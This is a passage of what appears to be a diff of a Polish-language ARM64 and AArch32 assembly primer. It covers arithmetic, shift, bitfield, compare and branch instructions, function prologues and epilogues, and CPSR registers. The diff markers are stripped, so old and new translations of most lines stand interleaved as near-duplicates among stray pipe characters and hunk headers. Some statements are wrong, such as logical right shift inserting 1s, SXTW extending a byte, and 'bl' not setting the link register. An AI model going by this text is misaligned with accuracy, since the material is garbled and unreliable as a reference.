* Przykład: `stp x0, x1, [sp]` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp` i `sp + 8`, odpowiednio.
|
||||
* `stp x0, x1, [sp, #16]!` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp+16` i `sp + 24`, odpowiednio, i aktualizuje `sp` na `sp+16`.
|
||||
* **`stp`**: **Przechowaj parę rejestrów**. Ta instrukcja **przechowuje dwa rejestry** w **kolejnych lokalizacjach pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze.
|
||||
* Przykład: `stp x0, x1, [sp]` — To przechowuje `x0` i `x1` w lokalizacjach pamięci w `sp` i `sp + 8`, odpowiednio.
|
||||
* `stp x0, x1, [sp, #16]!` — To przechowuje `x0` i `x1` w lokalizacjach pamięci w `sp+16` i `sp + 24`, odpowiednio, i aktualizuje `sp` do `sp+16`.
|
||||
* **`add`**: **Dodaj** wartości dwóch rejestrów i przechowaj wynik w rejestrze.
|
||||
* Składnia: add(s) Xn1, Xn2, Xn3 | #imm, \[przesunięcie #N | RRX]
|
||||
* Składnia: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Xn1 -> Cel
|
||||
* Xn2 -> Operand 1
|
||||
* Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowy)
|
||||
* \[przesunięcie #N | RRX] -> Wykonaj przesunięcie lub wywołaj RRX
|
||||
* Przykład: `add x0, x1, x2` — Dodaje wartości w `x1` i `x2` i przechowuje wynik w `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Wykonuje operację `add` i aktualizuje flagi
|
||||
* **`sub`**: **Odejmowanie** wartości dwóch rejestrów i przechowywanie wyniku w rejestrze.
|
||||
* Sprawdź **składnię `add`**.
|
||||
* Przykład: `sub x0, x1, x2` — Odejmuje wartość w `x2` od `x1` i przechowuje wynik w `x0`.
|
||||
* **`subs`** To jak sub, ale aktualizuje flagę
|
||||
* **`mul`**: **Mnożenie** wartości **dwóch rejestrów** i przechowywanie wyniku w rejestrze.
|
||||
* Przykład: `mul x0, x1, x2` — Mnoży wartości w `x1` i `x2` i przechowuje wynik w `x0`.
|
||||
* **`div`**: **Dzielenie** wartości jednego rejestru przez drugi i przechowywanie wyniku w rejestrze.
|
||||
* Przykład: `div x0, x1, x2` — Dzieli wartość w `x1` przez `x2` i przechowuje wynik w `x0`.
|
||||
* \[shift #N | RRX] -> Wykonaj przesunięcie lub wywołaj RRX
|
||||
* Przykład: `add x0, x1, x2` — To dodaje wartości w `x1` i `x2` razem i przechowuje wynik w `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięcie 12 razy) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** To wykonuje `add` i aktualizuje flagi
|
||||
* **`sub`**: **Odejmij** wartości dwóch rejestrów i przechowaj wynik w rejestrze.
|
||||
* Sprawdź **`add`** **składnię**.
|
||||
* Przykład: `sub x0, x1, x2` — To odejmuje wartość w `x2` od `x1` i przechowuje wynik w `x0`.
|
||||
* **`subs`** To jest jak sub, ale aktualizuje flagę
|
||||
* **`mul`**: **Pomnóż** wartości **dwóch rejestrów** i przechowaj wynik w rejestrze.
|
||||
* Przykład: `mul x0, x1, x2` — To mnoży wartości w `x1` i `x2` i przechowuje wynik w `x0`.
|
||||
* **`div`**: **Podziel** wartość jednego rejestru przez inny i przechowaj wynik w rejestrze.
|
||||
* Przykład: `div x0, x1, x2` — To dzieli wartość w `x1` przez `x2` i przechowuje wynik w `x0`.
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **Przesunięcie logiczne w lewo**: Dodaje 0 z końca, przesuwając inne bity do przodu (mnożenie n razy przez 2)
|
||||
* **Przesunięcie logiczne w prawo**: Dodaje 1 z początku, przesuwając inne bity do tyłu (dzielenie n razy przez 2 w przypadku liczb bez znaku)
|
||||
* **Przesunięcie arytmetyczne w prawo**: Podobne do **`lsr`**, ale zamiast dodawania zer, jeśli najbardziej znaczący bit to 1, \*\*dodawane są 1 (\*\*dzielenie przez n razy 2 w przypadku liczb ze znakiem)
|
||||
* **Obrót w prawo**: Podobne do **`lsr`**, ale to, co jest usuwane z prawej strony, jest dołączane z lewej
|
||||
* **Obrót w prawo z rozszerzeniem**: Podobne do **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Więc flaga przeniesienia jest przenoszona do bitu 31, a usunięty bit do flagi przeniesienia.
|
||||
* **`bfm`**: **Przeniesienie pola bitowego**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je na pozycjach **`m..m+n`**. **`#s`** określa **najbardziej lewą pozycję bitu** a **`#r`** ilość **przesunięcia w prawo**.
|
||||
* Przeniesienie pola bitowego: `BFM Xd, Xn, #r`
|
||||
* Przeniesienie pola bitowego ze znakiem: `SBFM Xd, Xn, #r, #s`
|
||||
* Przeniesienie pola bitowego bez znaku: `UBFM Xd, Xn, #r, #s`
|
||||
* **Wyciąganie i wstawianie pola bitowego:** Kopiowanie pola bitowego z rejestru i kopiowanie go do innego rejestru.
|
||||
* **`BFI X1, X2, #3, #4`** Wstawia 4 bity z X2 od 3. bitu X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Wyciąga z 3. bitu X2 cztery bity i kopiuje je do X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Rozszerza znakowo 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitu 3, zerując prawe bity
|
||||
* **`SBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2, rozszerza znakowo i umieszcza wynik w X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Rozszerza zerami 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitu 3, zerując prawe bity
|
||||
* **`UBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2 i umieszcza wynik zerowo rozszerzony w X1.
|
||||
* **Rozszerzanie znaku do X:** Rozszerza znak (lub dodaje tylko zera w wersji bez znaku) wartości, aby można było wykonywać na niej operacje:
|
||||
* **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` to połowa `X2`) wypełniając 64 bity
|
||||
* **`SXTH X1, W2`** Rozszerza znak 16-bitowej liczby **z W2 do X1** wypełniając 64 bity
|
||||
* **`SXTW X1, W2`** Rozszerza znak bajtu **z W2 do X1** wypełniając 64 bity
|
||||
* **`UXTB X1, W2`** Dodaje zera (bez znaku) do bajtu **z W2 do X1** wypełniając 64 bity
|
||||
* **`extr`:** Wyciąga bity z określonej **pary złączonych rejestrów**.
|
||||
* Przykład: `EXTR W3, W2, W1, #3` To **połączy W1+W2** i pobierze **od bitu 3 z W2 do bitu 3 z W1** i przechowa w W3.
|
||||
* **`cmp`**: **Porównuje** dwa rejestry i ustawia flagi warunkowe. Jest to **alias `subs`** ustawiający rejestr docelowy na zerowy rejestr. Przydatne do sprawdzenia, czy `m == n`.
|
||||
* **Logiczne przesunięcie w lewo**: Dodaje 0 z końca, przesuwając inne bity do przodu (mnoży przez n razy 2)
|
||||
* **Logiczne przesunięcie w prawo**: Dodaje 1 na początku, przesuwając inne bity do tyłu (dzieli przez n razy 2 w nieskładanym)
|
||||
* **Arytmetyczne przesunięcie w prawo**: Jak **`lsr`**, ale zamiast dodawania 0, jeśli najbardziej znaczący bit to 1, dodawane są **1s** (dzieli przez n razy 2 w składanym)
|
||||
* **Obracanie w prawo**: Jak **`lsr`**, ale cokolwiek usunięte z prawej jest dodawane z lewej
|
||||
* **Obracanie w prawo z rozszerzeniem**: Jak **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Tak więc flaga przeniesienia jest przesuwana do bitu 31, a usunięty bit do flagi przeniesienia.
|
||||
* **`bfm`**: **Przesunięcie bitowe**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je w pozycjach **`m..m+n`**. **`#s`** określa **pozycję najbardziej lewego bitu**, a **`#r`** ilość przesunięcia w prawo.
|
||||
* Przesunięcie bitowe: `BFM Xd, Xn, #r`
|
||||
* Przesunięcie bitowe ze znakiem: `SBFM Xd, Xn, #r, #s`
|
||||
* Przesunięcie bitowe bez znaku: `UBFM Xd, Xn, #r, #s`
|
||||
* **Ekstrakcja i wstawianie bitów:** Kopiuje pole bitowe z rejestru i kopiuje je do innego rejestru.
|
||||
* **`BFI X1, X2, #3, #4`** Wstawia 4 bity z X2 z 3. bitu X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Ekstrahuje z 3. bitu X2 cztery bity i kopiuje je do X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Rozszerza znak 4 bitów z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity
|
||||
* **`SBFX X1, X2, #3, #4`** Ekstrahuje 4 bity, zaczynając od bitu 3 z X2, rozszerza je ze znakiem i umieszcza wynik w X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Zeruje 4 bity z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity
|
||||
* **`UBFX X1, X2, #3, #4`** Ekstrahuje 4 bity, zaczynając od bitu 3 z X2 i umieszcza wynik z rozszerzeniem zerowym w X1.
|
||||
* **Rozszerzenie znaku do X:** Rozszerza znak (lub dodaje tylko 0 w wersji bez znaku) wartości, aby móc wykonywać operacje z nią:
|
||||
* **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` jest połową `X2`) aby wypełnić 64 bity
|
||||
* **`SXTH X1, W2`** Rozszerza znak liczby 16-bitowej **z W2 do X1** aby wypełnić 64 bity
|
||||
* **`SXTW X1, W2`** Rozszerza znak bajtu **z W2 do X1** aby wypełnić 64 bity
|
||||
* **`UXTB X1, W2`** Dodaje 0 (bez znaku) do bajtu **z W2 do X1** aby wypełnić 64 bity
|
||||
* **`extr`:** Ekstrahuje bity z określonej **pary rejestrów połączonych**.
|
||||
* Przykład: `EXTR W3, W2, W1, #3` To **połączy W1+W2** i uzyska **z bitu 3 W2 do bitu 3 W1** i przechowa to w W3.
|
||||
* **`cmp`**: **Porównaj** dwa rejestry i ustaw flagi warunkowe. To jest **alias `subs`** ustawiający rejestr docelowy na rejestr zerowy. Przydatne do sprawdzenia, czy `m == n`.
|
||||
* Obsługuje **tę samą składnię co `subs`**
|
||||
* Przykład: `cmp x0, x1` — Porównuje wartości w `x0` i `x1` i ustawia flagi warunkowe odpowiednio.
|
||||
* **`cmn`**: **Porównaj ujemne** operandy. W tym przypadku jest to **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`.
|
||||
* **`ccmp`**: Porównanie warunkowe, to porównanie, które zostanie wykonane tylko wtedy, gdy poprzednie porównanie było prawdziwe, i będzie specjalnie ustawiać bity nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> jeśli x1 != x2 i x3 < x4, skocz do funkcji
|
||||
* Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzednie `cmp` było `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie spełni warunku `blt`).
|
||||
* Można go również używać jako `ccmn` (to samo, ale ujemne, jak `cmp` vs `cmn`).
|
||||
* **`tst`**: Sprawdza, czy któreś z wartości porównania jest równe 1 (działa jak i ANDS bez przechowywania wyniku). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którykolwiek z bitów rejestru wskazanego w wartości jest równy 1.
|
||||
* Przykład: `tst X1, #7` Sprawdza, czy którykolwiek z ostatnich 3 bitów X1 jest równy 1
|
||||
* **`teq`**: Operacja XOR, odrzucająca wynik
|
||||
* Przykład: `cmp x0, x1` — To porównuje wartości w `x0` i `x1` i ustawia flagi warunkowe odpowiednio.
|
||||
* **`cmn`**: **Porównaj operand ujemny**. W tym przypadku to jest **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`.
|
||||
* **`ccmp`**: Porównanie warunkowe, to porównanie, które zostanie wykonane tylko wtedy, gdy wcześniejsze porównanie było prawdziwe i specjalnie ustawi bity nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> jeśli x1 != x2 i x3 < x4, skocz do func
|
||||
* Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzedni `cmp` był `NE`**, jeśli nie był, bity `nzcv` zostaną ustawione na 0 (co nie zaspokoi porównania `blt`).
|
||||
* Może to być również używane jako `ccmn` (to samo, ale negatywne, jak `cmp` vs `cmn`).
|
||||
* **`tst`**: Sprawdza, czy którakolwiek z wartości porównania jest równa 1 (działa jak ANDS bez przechowywania wyniku gdziekolwiek). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którakolwiek z bitów rejestru wskazanych w wartości jest równa 1.
|
||||
* Przykład: `tst X1, #7` Sprawdza, czy którakolwiek z ostatnich 3 bitów X1 jest równa 1
|
||||
* **`teq`**: Operacja XOR, ignorując wynik
|
||||
* **`b`**: Bezwarunkowy skok
|
||||
* Przykład: `b myFunction`
|
||||
* Należy zauważyć, że nie wypełni to rejestru linku adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
|
||||
* **`bl`**: **Skok** z linkiem, używany do **wywołania** podprogramu. Przechowuje **adres powrotu w `x30`**.
|
||||
* Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres powrotu w `x30`.
|
||||
* Należy zauważyć, że nie wypełni to rejestru linku adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
|
||||
* **`blr`**: **Skok** z linkiem do rejestru, używany do **wywołania** podprogramu, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres powrotu w `x30`. (To jest
|
||||
* Przykład: `blr x1` — To wywołuje funkcję, której adres jest zawarty w `x1` i przechowuje adres powrotu w `x30`.
|
||||
* **`ret`**: **Powrót** z **podprogramu**, zwykle używając adresu w **`x30`**.
|
||||
* Przykład: `ret` — To powraca z bieżącego podprogramu, używając adresu powrotu z `x30`.
|
||||
* **`b.<cond>`**: Warunkowe skoki
|
||||
* **`b.eq`**: **Skok jeśli równy**, na podstawie poprzedniej instrukcji `cmp`.
|
||||
* Zauważ, że to nie wypełni rejestru łączenia adresem zwrotnym (nie nadaje się do wywołań podprogramów, które muszą wrócić)
|
||||
* **`bl`**: **Skok** z łącznikiem, używany do **wywołania** **podprogramu**. Przechowuje **adres zwrotny w `x30`**.
|
||||
* Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres zwrotny w `x30`.
|
||||
* Zauważ, że to nie wypełni rejestru łączenia adresem zwrotnym (nie nadaje się do wywołań podprogramów, które muszą wrócić)
|
||||
* **`blr`**: **Skok** z łącznikiem do rejestru, używany do **wywołania** **podprogramu**, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres zwrotny w `x30`. (To jest
|
||||
* Przykład: `blr x1` — To wywołuje funkcję, której adres znajduje się w `x1` i przechowuje adres zwrotny w `x30`.
|
||||
* **`ret`**: **Powrót** z **podprogramu**, zazwyczaj używając adresu w **`x30`**.
|
||||
* Przykład: `ret` — To wraca z aktualnego podprogramu, używając adresu zwrotnego w `x30`.
|
||||
* **`b.<cond>`**: Skoki warunkowe
|
||||
* **`b.eq`**: **Skok, jeśli równe**, na podstawie poprzedniej instrukcji `cmp`.
|
||||
* Przykład: `b.eq label` — Jeśli poprzednia instrukcja `cmp` znalazła dwie równe wartości, to skacze do `label`.
|
||||
* **`b.ne`**: **Branch if Not Equal**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez poprzednią instrukcję porównania) i jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
|
||||
* Przykład: Po instrukcji `cmp x0, x1`, `b.ne label` — Jeśli wartości w `x0` i `x1` nie były równe, następuje skok do `label`.
|
||||
* **`cbz`**: **Porównaj i Skocz jeśli Zero**. Ta instrukcja porównuje rejestr z zerem i jeśli są równe, skacze do etykiety lub adresu.
|
||||
* Przykład: `cbz x0, label` — Jeśli wartość w `x0` wynosi zero, następuje skok do `label`.
|
||||
* **`cbnz`**: **Porównaj i Skocz jeśli Nie-Zero**. Ta instrukcja porównuje rejestr z zerem i jeśli nie są równe, skacze do etykiety lub adresu.
|
||||
* Przykład: `cbnz x0, label` — Jeśli wartość w `x0` jest niezerowa, następuje skok do `label`.
|
||||
* **`tbnz`**: Testuj bit i skacz jeśli niezerowy
|
||||
* **`b.ne`**: **Skok, jeśli nie równe**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez wcześniejszą instrukcję porównania), a jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
|
||||
* Przykład: Po instrukcji `cmp x0, x1`, `b.ne label` — Jeśli wartości w `x0` i `x1` nie były równe, to skacze do `label`.
|
||||
* **`cbz`**: **Porównaj i skocz, jeśli zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli są równe, skacze do etykiety lub adresu.
|
||||
* Przykład: `cbz x0, label` — Jeśli wartość w `x0` jest zerowa, to skacze do `label`.
|
||||
* **`cbnz`**: **Porównaj i skocz, jeśli nie zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli nie są równe, skacze do etykiety lub adresu.
|
||||
* Przykład: `cbnz x0, label` — Jeśli wartość w `x0` jest różna od zera, to skacze do `label`.
|
||||
* **`tbnz`**: Testuj bit i skocz, jeśli niezerowy
|
||||
* Przykład: `tbnz x0, #8, label`
|
||||
* **`tbz`**: Testuj bit i skacz jeśli zero
|
||||
* **`tbz`**: Testuj bit i skocz, jeśli zero
|
||||
* Przykład: `tbz x0, #8, label`
|
||||
* **Operacje wyboru warunkowego**: Są to operacje, których zachowanie zależy od bitów warunkowych.
|
||||
* **Operacje wyboru warunkowego**: To operacje, których zachowanie zmienia się w zależności od bitów warunkowych.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Jeśli prawda, X0 = X1, jeśli fałsz, X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> Jeśli prawda, Xd = Xn + 1, jeśli fałsz, Xd = Xn
|
||||
|
@ -221,24 +222,24 @@ Instrukcje ARM64 mają ogólnie **format `opcode dst, src1, src2`**, gdzie **`op
|
|||
* `cneg Xd, Xn, cond` -> Jeśli prawda, Xd = - Xn, jeśli fałsz, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = 1, jeśli fałsz, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = \<wszystkie 1>, jeśli fałsz, Xd = 0
|
||||
* **`adrp`**: Oblicz **adres strony symbolu** i zapisz go w rejestrze.
|
||||
* Przykład: `adrp x0, symbol` — To oblicza adres strony `symbolu` i zapisuje go w `x0`.
|
||||
* **`ldrsw`**: **Załaduj** podpisaną **wartość 32-bitową** z pamięci i **rozszerz ją do 64** bitów.
|
||||
* Przykład: `ldrsw x0, [x1]` — To ładuje podpisaną wartość 32-bitową z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i zapisuje w `x0`.
|
||||
* **`stur`**: **Zapisz wartość rejestru do lokalizacji pamięci**, używając przesunięcia od innego rejestru.
|
||||
* Przykład: `stur x0, [x1, #4]` — To zapisuje wartość z `x0` do lokalizacji pamięci, która jest o 4 bajty większa niż adres aktualnie w `x1`.
|
||||
* **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza "Supervisor Call". Gdy procesor wykonuje tę instrukcję, **przełącza się z trybu użytkownika na tryb jądra** i skacze do określonej lokalizacji w pamięci, gdzie znajduje się kod obsługi **wywołania systemowego jądra**.
|
||||
* **`adrp`**: Oblicz **adres strony symbolu** i przechowaj go w rejestrze.
|
||||
* Przykład: `adrp x0, symbol` — To oblicza adres strony symbolu i przechowuje go w `x0`.
|
||||
* **`ldrsw`**: **Załaduj** podpisaną **32-bitową** wartość z pamięci i **rozszerz ją do 64** bitów.
|
||||
* Przykład: `ldrsw x0, [x1]` — To ładuje podpisaną 32-bitową wartość z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i przechowuje w `x0`.
|
||||
* **`stur`**: **Przechowaj wartość rejestru w lokalizacji pamięci**, używając offsetu z innego rejestru.
|
||||
* Przykład: `stur x0, [x1, #4]` — To przechowuje wartość w `x0` w adresie pamięci, który jest o 4 bajty większy niż adres aktualnie w `x1`.
|
||||
* **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza "Wywołanie Nadzorcy". Gdy procesor wykonuje tę instrukcję, **przełącza się z trybu użytkownika do trybu jądra** i skacze do określonej lokalizacji w pamięci, gdzie znajduje się **kod obsługi wywołań systemowych jądra**.
|
||||
* Przykład:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Załaduj numer wywołania systemowego dla wyjścia (93) do rejestru x8.
|
||||
mov x0, 0 ; Załaduj kod stanu wyjścia (0) do rejestru x0.
|
||||
mov x8, 93 ; Załaduj numer wywołania systemowego dla zakończenia (93) do rejestru x8.
|
||||
mov x0, 0 ; Załaduj kod statusu zakończenia (0) do rejestru x0.
|
||||
svc 0 ; Wykonaj wywołanie systemowe.
|
||||
```
|
||||
|
||||
### **Prolog Funkcji**
|
||||
### **Prolog funkcji**
|
||||
|
||||
1. **Zapisz rejestr linku i wskaźnik ramki na stosie**:
|
||||
1. **Zapisz rejestr łączenia i wskaźnik ramki na stosie**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -247,12 +248,12 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
|
|||
{% endcode %}
|
||||
|
||||
2. **Ustaw nowy wskaźnik ramki**: `mov x29, sp` (ustawia nowy wskaźnik ramki dla bieżącej funkcji)
|
||||
3. **Zaalokuj miejsce na stosie dla zmiennych lokalnych** (jeśli jest to konieczne): `sub sp, sp, <size>` (gdzie `<size>` to liczba bajtów potrzebna)
|
||||
3. **Przydziel miejsce na stosie dla zmiennych lokalnych** (jeśli to konieczne): `sub sp, sp, <size>` (gdzie `<size>` to liczba bajtów potrzebnych)
|
||||
|
||||
### **Epilog Funkcji**
|
||||
### **Epilog funkcji**
|
||||
|
||||
1. **Zwolnij zmienne lokalne (jeśli jakiekolwiek zostały zaalokowane)**: `add sp, sp, <size>`
|
||||
2. **Przywróć rejestr linku i wskaźnik ramki**:
|
||||
1. **Zwolnij zmienne lokalne (jeśli jakieś zostały przydzielone)**: `add sp, sp, <size>`
|
||||
2. **Przywróć rejestr linki i wskaźnik ramki**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -260,18 +261,18 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
3. **Powrót**: `ret` (zwraca kontrolę do wywołującego, używając adresu w rejestrze łącza)
|
||||
3. **Return**: `ret` (zwraca kontrolę do wywołującego, używając adresu w rejestrze linki)
|
||||
|
||||
## Stan Wykonania AARCH32
|
||||
|
||||
Armv8-A obsługuje wykonywanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: **`A32`** i **`T32`** oraz może przełączać się między nimi za pomocą **`interworking`**.\
|
||||
**Uprawnione** programy 64-bitowe mogą zaplanować **wykonanie programów 32-bitowych** wykonując transfer poziomu wyjątku do programu o niższych uprawnieniach 32-bitowego.\
|
||||
Należy zauważyć, że przejście z 64-bitowego na 32-bitowe zachodzi przy niższym poziomie wyjątku (na przykład program 64-bitowy w EL1 wywołujący program w EL0). Jest to realizowane poprzez ustawienie **bitu 4 rejestru specjalnego** **`SPSR_ELx`** na **1** gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje stany CPSR programów **`AArch32`**. Następnie uprawniony proces wywołuje instrukcję **`ERET`**, aby procesor przełączył się na **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR\*\*.\*\*
|
||||
Armv8-A wspiera wykonywanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: **`A32`** i **`T32`** i może przełączać się między nimi za pomocą **`interworking`**.\
|
||||
**Privileged** programy 64-bitowe mogą planować **wykonywanie programów 32-bitowych** poprzez wykonanie transferu poziomu wyjątku do niżej uprzywilejowanego 32-bitowego.\
|
||||
Należy zauważyć, że przejście z 64-bitów do 32-bitów następuje przy obniżeniu poziomu wyjątku (na przykład program 64-bitowy w EL1 wyzwalający program w EL0). Dzieje się to poprzez ustawienie **bitu 4** **`SPSR_ELx`** specjalnego rejestru **na 1**, gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje **CPSR** programów **`AArch32`**. Następnie, uprzywilejowany proces wywołuje instrukcję **`ERET`**, aby procesor przeszedł do **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR\*\*.\*\*
|
||||
|
||||
**`Interworking`** zachodzi za pomocą bitów J i T CPSR. `J=0` i `T=0` oznacza **`A32`**, a `J=0` i `T=1` oznacza **T32**. Oznacza to w zasadzie ustawienie **najniższego bitu na 1**, aby wskazać, że zestaw instrukcji to T32.\
|
||||
Jest to ustawiane podczas **instrukcji skoku interworking**, ale można to również ustawić bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład:
|
||||
**`interworking`** zachodzi przy użyciu bitów J i T CPSR. `J=0` i `T=0` oznacza **`A32`**, a `J=0` i `T=1` oznacza **T32**. To zasadniczo oznacza ustawienie **najniższego bitu na 1**, aby wskazać, że zestaw instrukcji to T32.\
|
||||
Jest to ustawiane podczas **instrukcji skoku interworking**, ale może być również ustawiane bezpośrednio innymi instrukcjami, gdy PC jest ustawiony jako rejestr docelowy. Przykład:
|
||||
|
||||
Kolejny przykład:
|
||||
Inny przykład:
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
|
@ -284,48 +285,48 @@ mov r0, #8
|
|||
```
|
||||
### Rejestry
|
||||
|
||||
Istnieje 16 rejestrów 32-bitowych (r0-r15). **Od r0 do r14** mogą być używane do **dowolnych operacji**, jednak niektóre z nich są zazwyczaj zarezerwowane:
|
||||
Istnieje 16 rejestrów 32-bitowych (r0-r15). **Od r0 do r14** mogą być używane do **wszystkich operacji**, jednak niektóre z nich są zazwyczaj zarezerwowane:
|
||||
|
||||
- **`r15`**: Licznik programu (zawsze). Zawiera adres następnej instrukcji. W A32 aktualny + 8, w T32 aktualny + 4.
|
||||
- **`r11`**: Wskaźnik ramki
|
||||
- **`r12`**: Rejestr wywołania wewnątrzproceduralnego
|
||||
- **`r13`**: Wskaźnik stosu
|
||||
- **`r14`**: Rejestr łącza
|
||||
* **`r15`**: Licznik programu (zawsze). Zawiera adres następnej instrukcji. W A32 aktualny + 8, w T32, aktualny + 4.
|
||||
* **`r11`**: Wskaźnik ramki
|
||||
* **`r12`**: Rejestr wywołania wewnątrzproceduralnego
|
||||
* **`r13`**: Wskaźnik stosu
|
||||
* **`r14`**: Rejestr łączenia
|
||||
|
||||
Ponadto rejestry są tworzone w **`rejestrach bankowych`**. Są to miejsca przechowujące wartości rejestrów, umożliwiające **szybką zmianę kontekstu** w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć konieczności ręcznego zapisywania i przywracania rejestrów za każdym razem.\
|
||||
Dzieje się to poprzez **zapisanie stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego jest wykonywany wyjątek. Po powrocie z wyjątku, **`CPSR`** jest przywracany z **`SPSR`**.
|
||||
Ponadto, rejestry są zapisywane w **`banked registries`**. Są to miejsca, które przechowują wartości rejestrów, umożliwiając **szybkie przełączanie kontekstu** w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć potrzeby ręcznego zapisywania i przywracania rejestrów za każdym razem.\
|
||||
Dzieje się to poprzez **zapisanie stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego wyjątek jest zgłaszany. Po powrocie z wyjątku, **`CPSR`** jest przywracany z **`SPSR`**.
|
||||
|
||||
### CPSR - Bieżący Rejestr Stanu Programu
|
||||
### CPSR - Rejestr Statusu Programu
|
||||
|
||||
W AArch32 CPSR działa podobnie jak **`PSTATE`** w AArch64 i jest również przechowywany w **`SPSR_ELx`** podczas obsługi wyjątku w celu późniejszego przywrócenia wykonania:
|
||||
W AArch32 CPSR działa podobnie do **`PSTATE`** w AArch64 i jest również przechowywany w **`SPSR_ELx`**, gdy wyjątek jest zgłaszany, aby później przywrócić wykonanie:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pola są podzielone na kilka grup:
|
||||
|
||||
- Rejestr Stanu Programu Aplikacji (APSR): Flagi arytmetyczne dostępne z EL0
|
||||
- Rejestry Stanu Wykonania: Zachowanie procesu (zarządzane przez system operacyjny).
|
||||
* Rejestr Statusu Programu Aplikacji (APSR): Flagi arytmetyczne i dostępne z EL0
|
||||
* Rejestry Stanu Wykonania: Zachowanie procesu (zarządzane przez system operacyjny).
|
||||
|
||||
#### Rejestr Stanu Programu Aplikacji (APSR)
|
||||
#### Rejestr Statusu Programu Aplikacji (APSR)
|
||||
|
||||
- Flagi **`N`**, **`Z`**, **`C`**, **`V`** (tak jak w AArch64)
|
||||
